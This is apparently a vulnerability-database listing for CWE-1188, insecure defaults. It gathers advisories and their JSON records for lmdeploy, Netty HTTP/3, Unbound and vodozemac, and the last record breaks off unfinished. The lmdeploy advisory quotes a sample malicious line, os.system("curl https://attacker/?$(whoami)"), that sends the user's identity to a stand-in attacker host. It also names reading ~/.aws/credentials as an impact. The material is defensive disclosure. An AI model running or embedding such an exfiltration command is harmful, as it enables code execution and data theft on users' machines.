Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

435 vulnerabilities reference this CWE, most recent first.

GHSA-9XQ9-36W5-Q796

Vulnerability from github – Published: 2026-05-21 19:33 – Updated: 2026-08-31 14:33
VLAI
Summary
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
Details

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim: * It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Project trust_remote_code default User control
HuggingFace Transformers False trust_remote_code keyword arg
vLLM False --trust-remote-code flag
LMDeploy True (hardcoded) None
TGI False --trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Severity

CVSS v3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — Base 7.8 High.

  • AV:L — local (the user runs lmdeploy on their own host).
  • AC:L — single command.
  • PR:N — no privilege.
  • UI:R — user must invoke lmdeploy with the malicious repo. Minor qualifier: many users will type lmdeploy serve api_server <repo> trusting that lmdeploy implements basic safety.
  • C:H, I:H, A:H — full RCE on the user's machine; can read ~/.aws/credentials, exfiltrate data, persist, etc.

If the lmdeploy host is a multi-tenant inference platform (e.g. a cloud provider running lmdeploy as a service for multiple paying customers), the attack changes shape: any tenant who can pin a custom model name in their tenancy gets RCE on the inference host and scope changes to S:C with cross-tenant impact. CVSS rises to 9.6+. We are not claiming this dimension here without runtime evidence; just flagging it for triage.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.12.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-915",
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:33:32Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Severity\n\nCVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u2014 **Base 7.8 High**.\n\n* AV:L \u2014 local (the user runs lmdeploy on their own host).\n* AC:L \u2014 single command.\n* PR:N \u2014 no privilege.\n* UI:R \u2014 user must invoke lmdeploy with the malicious repo. Minor\n  qualifier: many users will type `lmdeploy serve api_server \u003crepo\u003e`\n  trusting that lmdeploy implements basic safety.\n* C:H, I:H, A:H \u2014 full RCE on the user\u0027s machine; can read\n  ~/.aws/credentials, exfiltrate data, persist, etc.\n\nIf the lmdeploy host is a multi-tenant inference platform (e.g. a\ncloud provider running lmdeploy as a service for multiple paying\ncustomers), the attack changes shape: any tenant who can pin a\ncustom model name in their tenancy gets RCE on the inference host\nand **scope changes to S:C** with cross-tenant impact. CVSS rises\nto 9.6+. We are **not** claiming this dimension here without\nruntime evidence; just flagging it for triage.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "GHSA-9xq9-36w5-q796",
  "modified": "2026-08-31T14:33:46Z",
  "published": "2026-05-21T19:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/4511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}

GHSA-C2RX-5R8W-8XR2

Vulnerability from github – Published: 2026-06-08 19:02 – Updated: 2026-06-12 19:27
VLAI
Summary
Netty has a Vulnerable Default Configuration Which Leads to Denial of Service via Unbounded HTTP/3 Header Size
Details

Summary

The default configuration of the Http3ConnectionHandler in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an OutOfMemoryError.

Details

Netty securely limits header sizes for older protocols. In HTTP/1.1, Netty strictly enforces an 8192-byte limit out-of-the-box via HttpObjectDecoder. For HTTP/2, while RFC 9113 specifies that SETTINGS_MAX_HEADER_LIST_SIZE defaults to unlimited, Netty securely overrides this RFC default by enforcing an 8192-byte limit (Http2CodecUtil.DEFAULT_HEADER_LIST_SIZE).

However, this secure-by-default configuration is missing in the HTTP/3 implementation. While Netty provides a mechanism to configure the maximum header field section size via Http3Settings, its out-of-the-box behaviour strictly follows RFC 9114's unlimited default.

Because many developers rely on the framework's default configurations and basic constructors, their applications are unknowingly left vulnerable. This nearly infinite default limit is passed into Http3FrameCodec#newFactory and stored as maxHeaderListSize inside Http3FrameCodec.

A bad actor can continuously send HTTP/3 headers within a connection, exploiting the insecure default configuration to consume server memory unconditionally until the application crashes with an OutOfMemoryError.

Impact

Denial of Service via memory exhaustion. All applications using Netty's HTTP/3 codec with its default configuration are impacted.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T19:02:16Z",
    "nvd_published_at": "2026-06-12T05:16:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe default configuration of the `Http3ConnectionHandler` in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify `HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE`, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an `OutOfMemoryError`.\n\n### Details\nNetty securely limits header sizes for older protocols. In HTTP/1.1, Netty strictly enforces an `8192`-byte limit out-of-the-box via `HttpObjectDecoder`. For HTTP/2, while RFC 9113 specifies that `SETTINGS_MAX_HEADER_LIST_SIZE` defaults to `unlimited`, Netty securely overrides this RFC default by enforcing an `8192`-byte limit (`Http2CodecUtil.DEFAULT_HEADER_LIST_SIZE`).\n\nHowever, this secure-by-default configuration is missing in the HTTP/3 implementation. While Netty provides a mechanism to configure the maximum header field section size via `Http3Settings`, its out-of-the-box behaviour strictly follows RFC 9114\u0027s unlimited default.\n\nBecause many developers rely on the framework\u0027s default configurations and basic constructors, their applications are unknowingly left vulnerable. This nearly infinite default limit is passed into `Http3FrameCodec#newFactory` and stored as `maxHeaderListSize` inside `Http3FrameCodec`.\n\nA bad actor can continuously send HTTP/3 headers within a connection, exploiting the insecure default configuration to consume server memory unconditionally until the application crashes with an `OutOfMemoryError`.\n\n### Impact\nDenial of Service via memory exhaustion. All applications using Netty\u0027s HTTP/3 codec with its default configuration are impacted.",
  "id": "GHSA-c2rx-5r8w-8xr2",
  "modified": "2026-06-12T19:27:28Z",
  "published": "2026-06-08T19:02:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-c2rx-5r8w-8xr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44892"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a Vulnerable Default Configuration Which Leads to Denial of Service via Unbounded HTTP/3 Header Size"
}

GHSA-C386-7QG7-H3QX

Vulnerability from github – Published: 2026-07-22 15:31 – Updated: 2026-07-22 15:31
VLAI
Details

In NLnet Labs Unbound 1.6.0 up to and including 1.25.1, the 'view_local_data' and 'view_local_datas' commands of 'unbound-control' create a bare local zones tree for an already configured named view when the view is configured with no local data to begin with. However, the creation through the control interface omits adding the default-protected zones (e.g., RFC 1918 reverse, AS112 zones, .onion, .localhost). Once the local zone tree exists without the defaults, every query for a default-protected name from a client mapped to that view escapes to the public DNS via the iterator instead of being answered locally, bypassing local policy expectations.

Severity
3.1 (Low)
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-55708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T14:17:21Z",
    "severity": "LOW"
  },
  "details": "In NLnet Labs Unbound 1.6.0 up to and including 1.25.1, the \u0027view_local_data\u0027 and \u0027view_local_datas\u0027 commands of \u0027unbound-control\u0027 create a bare local zones tree for an already configured named view when the view is configured with no local data to begin with. However, the creation through the control interface omits adding the default-protected zones (e.g., RFC 1918 reverse, AS112 zones, .onion, .localhost). Once the local zone tree exists without the defaults, every query for a default-protected name from a client mapped to that view escapes to the public DNS via the iterator instead of being answered locally, bypassing local policy expectations.",
  "id": "GHSA-c386-7qg7-h3qx",
  "modified": "2026-07-22T15:31:24Z",
  "published": "2026-07-22T15:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55708"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-55708.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C3HM-HXWF-G5C6

Vulnerability from github – Published: 2024-05-03 19:34 – Updated: 2024-05-20 15:34
VLAI
Summary
vodozemac has degraded secret zeroization capabilities
Details

Versions 0.5.0 and 0.5.1 of vodozemac have degraded secret zeroization capabilities, due to changes in third-party cryptographic dependencies (the Dalek crates), which moved secret zeroization capabilities behind a feature flag while vodozemac disabled the default feature set.

Impact

The degraded zeroization capabilities could result in the production of more memory copies of encryption secrets and secrets could linger in memory longer than necessary. This marginally increases the risk of sensitive data exposure.

Overall, we consider the impact of this issue to be low. Although cryptographic best practices recommend the clearing of sensitive information from memory once it's no longer needed, the inherent limitations of Rust regarding absolute zeroization reduce the practical severity of this lapse.

Patches

The patch is in commit https://github.com/matrix-org/vodozemac/pull/130/commits/297548cad4016ce448c4b5007c54db7ee39489d9.

Workarounds

None.

For more information

If you have any questions or comments about this advisory please email us at security at matrix.org.

Severity
2.5 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "vodozemac"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-03T19:34:07Z",
    "nvd_published_at": "2024-05-03T10:15:08Z",
    "severity": "LOW"
  },
